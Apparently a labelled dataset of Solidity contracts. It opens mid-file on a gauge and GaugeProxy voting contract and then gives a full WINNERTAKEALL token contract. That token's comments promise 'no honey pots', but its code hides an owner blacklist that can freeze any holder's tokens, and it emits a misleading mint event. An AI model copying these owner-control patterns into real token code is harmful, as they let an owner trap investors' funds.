block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage * 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-14 */ // SPDX-License-Identifier: UNLICENSED /**WINNERTAKEALL is a token proudly launched by PROJECT52.net *Project52.net is a Blockchain project house, developing and implementing blockchain projects. Our Phase 1 launch *includes the listing of a variety of crypto tokens over the coming months which are designed to be trade by crypto day traders. *Our tokens and projects are guaranteed scam free - no liquidity drains, no rug pulls, no honey pots. Our tokens are intended to be *fair environments for traders to speculate and make some money - afterall we are traders too! #MOONSHOT! *Join us, for multiple chances to trade and earn! *╔════════════════════════════════════════════════════════════════════════════════════╗ *║ ███ ███ ████ ████ ████ ████ █████ █████ ██ ██ █ ████ █████ ║ *║ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ║ *║ ███ ███ █ █ █ ███ █ █ ████ █ █ █ █ ███ █ ║ *║ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ █ █ ║ *║ █ █ █ ████ ████ ████ ████ █ ████ █████ █ █ █ ████ █ ║ *╚════════════════════════════════════════════════════════════════════════════════════╝ *░░░░░░░░░░░░░░░░░░░░░░░░░░WINNERTAKEALL░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ WINNERTAKEALL RULES The winning price ceiling is set at 0.00013000. The wallet that cross this line with a buy order first, takes the prize pool. Prize pool is made up from buy fees and is set at 10%. Winner will be verified by the BUY price as noted on the DEXTOOLS.IO pair. After the prize has been claimed, the token will be liquidated 48 hours after the winning transaction. Remember this is a game of strategy - use your buys/sells to outmanouver your competitors. *- Telegram: https://t.me/+Xg-B5IU2leQzYjZk *- Website: https://Project52.net */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WINNERTAKEALL is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "WINNERTAKEALL"; string private constant _symbol = "WINNERTAKEALL"; uint8 private constant _decimals = 18; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xB630A3b60a71Ba480ADd4bDD94B4B3933aCcF78b); _feeAddrWallet2 = payable(0xF6F1701ecF6b7EECbAfeD15606324c5d035149E5); _buyTax = 10; _sellTax = 15; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xF6F1701ecF6b7EECbAfeD15606324c5d035149E5), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = _buyTax; _feeAddr2 = 0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (0 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 200000000 * 10**18; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function getBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 * 10**18) { _maxTxAmount = maxTxAmount; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 2) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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